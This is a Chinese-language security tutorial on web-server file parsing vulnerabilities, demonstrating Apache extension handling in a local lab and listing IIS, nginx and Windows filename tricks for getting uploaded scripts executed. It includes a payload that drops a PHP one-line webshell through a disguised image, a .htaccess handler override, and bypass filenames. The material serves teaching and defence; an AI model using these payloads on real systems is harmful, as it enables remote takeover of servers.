文件解析漏洞

接上一篇文件上傳漏洞
（主要以apache+php環境爲例 由於只用過這個組合）

0x00 概述，什麼是文件解析漏洞

從上一篇咱們知道了如何繞過服務器的過濾，把不合法的文件上傳到服務器上。可是如今尚未結束，上傳的文件尚未被執行，沒有實現它應有的功能。

若是咱們知道上傳的文件放在哪裏，就能夠經過url請求這個腳本文件，同時若是服務器正好支持了PHP的解析，這樣上傳的文件將會經過apache激活PHP處理器，執行php代碼。顯而易見的是，apache應該至少支持一種腳本文件用以正常的網站訪問，因此總會有腳本文件被解析執行，因此不能經過禁止解析全部種類的腳本文件來確保安全。

可是因爲文件在上傳的時候進行了過濾且假設過濾成功，那麼全部以.php結尾的腳本文件都沒法上傳，使得服務器內部的php文件所有來自網站，是可信的，能夠正常解析執行。然而咱們設法繞過了上傳的檢測，使得一些異形的php腳本文件上傳到了服務器上，相似於.php .pht .phtml .php5 .php3 .php4 .php7 .pHp .PhP之類，同時服務器因爲不安全的配置使得這些異形php文件能夠被執行。

這樣一來，幾個要素：上傳的惡意腳本、腳本存放的位置、能夠執行腳本的不安全配置，齊活，接下來使用一些菜刀類的webshell管理工具或者直接以瀏覽器打開url並以get/post方式發送命令就能夠遠程控制服務器。

0x01 關於web服務器（以apache爲例）

web服務器用來處理客戶端發來的請求。

我的的理解是一個平臺同樣的應用程序，由系統賦予權限執行。

在這個應用平臺之上，有若干容器，apache的各個模塊經過相應的配置文件，造成了web應用運行所必須的環境同時，apache也是由這些模塊組織起來運行的，而配置文件由apache進行管理和解讀。

而在容器中，維護着若干樹形的文件結構，組織成了web應用即動態網站。

當接到客戶端發來的請求時，apache進行解析，如果請求一個靜態文件，則直接返回給瀏覽器；而當請求一個動態頁面譬如一個php腳本文件時，若是apache經過配置文件發現這個文件是可執行的，便將請求轉發給php引擎，php引擎解析並執行了相應的腳本文件，造成了一個「臨時的、動態生成的」HTML文件，交回給apache，apache再將其返回給瀏覽器渲染展現。而若是apache經過配置文件發現不容許執行php文件，便會認爲它只是一個靜態的文檔，將會直接返回代碼顯示在瀏覽器上。

如下爲運行於kali上的apache，能夠看到不少配置文件，看名字就知道做用。apache運做時，經過這些配置文件才能正確安全的運行，不安全的配置帶來可能的漏洞。

root@kali:~# cd /etc/apache2/
root@kali:/etc/apache2# ls
apache2.conf    conf-enabled  magic           mods-enabled  sites-available
conf-available  envvars       mods-available  ports.conf    sites-enabled

至於什麼樣的php腳本能夠生成這類動態HTML文件，爲何能夠生成HTML文件，這牽涉到cgi編程、中間件(?)和其餘的一些東西，不作展開

前方靈魂畫手高能，非戰鬥人員迅速撤離

不一樣的web容器用於執行不一樣的網站後臺文件。常見的有：IIS執行asp，apache、nginx執行php，tomcat執行Java等

---

那麼什麼是IIS、apache、nginx、tomcat呢？

如下來源於百度百科，反正沒有人會看這些介紹，抄百度百科一點湊個字數(笑)，也能夠跳過介紹或者自行百度

IIS：基於windows的互聯網基本服務，包括ftp/ftps、nntp、HTTP/HTTPs、smtp等服務，其使用.net flameworks類庫做爲底層運行框架，ASP.NET做爲開發工具

apache：Apache HTTP Server（簡稱Apache）是Apache軟件基金會的一個開放源碼的網頁服務器，能夠在大多數計算機操做系統中運行，因爲其多平臺和安全性被普遍使用，是最流行的Web服務器端軟件之一。它快速、可靠而且可經過簡單的API擴展，將Perl/Python等解釋器編譯到服務器中

nginx：Nginx (engine x) 是一個高性能的HTTP和反向代理服務，也是一個IMAP/POP3/SMTP服務。因它的穩定性、豐富的功能集、示例配置文件和低系統資源的消耗而聞名。Nginx是一款輕量級的Web服務器/反向代理服務器及電子郵件（IMAP/POP3）代理服務器，並在一個BSD-like協議下發行。其特色是佔有內存少，併發能力強，事實上nginx的併發能力確實在同類型的網頁服務器中表現較好，中國大陸使用nginx網站用戶有：百度、京東、新浪、網易、騰訊、淘寶等。

tomcat：Tomcat是Apache 軟件基金會（Apache Software Foundation）的Jakarta項目中的一個核心項目。Tomcat 服務器是一個免費的開放源代碼的Web應用服務器，屬於輕量級應用服務器，在中小型系統和併發訪問用戶不是不少的場合下被廣泛使用，是開發和調試JSP程序的首選。對於一個初學者來講，能夠這樣認爲，當在一臺機器上配置好Apache服務器，可利用它響應HTML（標準通用標記語言下的一個應用）頁面的訪問請求。實際上Tomcat是Apache服務器的擴展，但運行時它是獨立運行的，因此當你運行tomcat 時，它實際上做爲一個與Apache 獨立的進程單獨運行的。

0x02 經常使用的web容器的解析漏洞

• apache

  apache解析文件有一個原則，當碰到不認識的擴展名時，將會從後向前解析，直到碰到認識的擴展名爲止，若是都不認識則暴露其源代碼。

例如：apache接到請求訪問一個shell.php.aaa.bbb 文件。很明顯，apache不認識.bbb擴展名，向前找到.aaa擴展名，也不認識，再向前找到.php擴展名，發現是php文件，便交給php解析器去執行。

那麼apache如何認識各類類型的擴展名呢？以下所示是apache的配置文件，有一個默認的配置文件，bbs.conf是咱們另行添加的。內容很簡單：指示apache碰到擴展名中含有php的，就把它看成php文件發給php解釋器執行。做用以後會體現出來，暫且按下不表。

root@kali:/etc/apache2/sites-enabled# ls
000-default.conf bbs.conf
root@kali:/etc/apache2/sites-enabled# cat bbs.conf
AddHandler application/x-httpd-php .php

在/var/www/html(apache的默認網站文件存放目錄)之下，手動添加一個1.php.aaa文件和一個正常的1.php文件，以下所示

root@kali:/etc/apache2/sites-enabled# cd /var/www/html
root@kali:/var/www/html# ls
1.php    1.php.aaa   _create_admin_pwd.php  index.php    Model      readme_tech.txt  Template  View
1.php.1  Controller  Engine                 LICENSE.txt  README.md  static           Upload
root@kali:/var/www/html#

兩者的內容均爲

root@kali:/var/www/html# cat 1.php
<?php
phpinfo();
?>
root@kali:/var/www/html# cat 1.php.aaa
<?php
phpinfo();
?>

//phpinfo();是一個簡單的測試函數，用於輸出php的一些配置

使用瀏覽器訪問1.php文件，看到正常解析執行，輸出了php配置信息。

這個時候，apache進行的是正常的邏輯。

但若是咱們去訪問1.php.aaa，會發現沒有被執行

這個時候apache執行的邏輯中，確實把1.php.aaa發送給了php解釋器去執行，可是php解釋器拿到這個文件，也不認識擴展名，那咋辦呢？那就只能發回原來的代碼自己了。可是在我這裏瀏覽器沒法顯示源代碼，因此使用wget 127.0.0.1/1.php.aaa命令，訪問服務器。

root@kali:/var/www/html# wget 127.0.0.1/1.php.aaa
--2018-12-25 05:57:53--  http://127.0.0.1/1.php.aaa
正在鏈接 127.0.0.1:80... 已鏈接。
已發出 HTTP 請求，正在等待迴應... 200 OK
長度：20
正在保存至: 「1.php.aaa.2」

1.php.aaa.2               100%[=====================================>]      20  --.-KB/s  用時 0s      

2018-12-25 05:57:53 (1.76 MB/s) - 已保存 「1.php.aaa.2」 [20/20])

root@kali:/var/www/html# cat 1.php.aaa.2
<?php
phpinfo();
?>

能夠看到服務器返回給個人是源代碼。

若是在Apache中.htaccess可被執行.且可被上傳.那能夠嘗試在.htaccess中寫入:
SetHandler application/x-httpd-php
而後再上傳shell.jpg的木馬, 這樣shell.jpg就可解析爲php文件

• IIS6.0

  一、當創建*.asa、*.asp格式的文件夾時，其目錄下的全部文件將被IIS看成asp文件解析
  二、當文件名爲 *.asp;1.jpg 時,IIS6.0將以asp腳本執行
  三、//WebDav擴展協議漏洞

• nginx

  訪問http://www.xxxx.com/1.jpg/1.php,此時1.jpg將被看成PHP腳原本解析。這致使攻擊者能夠上傳圖片馬，並在訪問時url後加/xxx.php，就能夠執行php腳本.
  

• IIS7.0/nginx<8.03：

  傳一個名字爲wooyun.jpg，內容爲<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>的文件，而後訪問wooyun.jpg/x.php,在這個目錄下就會生成一句話木馬 shell.php
  

• nginx<8.03

  影響版:0.5.,0.6, 0.7 <= 0.7.65, 0.8 <= 0.8.37 Nginx在圖片中嵌入PHP代碼而後經過訪問 xxx.jpg%00.php 來執行其中的代碼

• windows

test.asp.
    test.asp(空格)
　　test.php:1.jpg
　　test.php::$DATA
　　shell.php::$DATA…….

會被windows系統自動去掉不符合規則符號後面的內容。

在windows環境下，xx.jpg[空格] 或xx.jpg. 這兩類文件都是不容許存在的，若這樣命名，windows會默認除去空格或點,黑客能夠經過抓包，在文件名後加一個空格或者點繞過黑名單.若上傳成功，空格和點都會被windows自動消除,這樣也能夠getshell。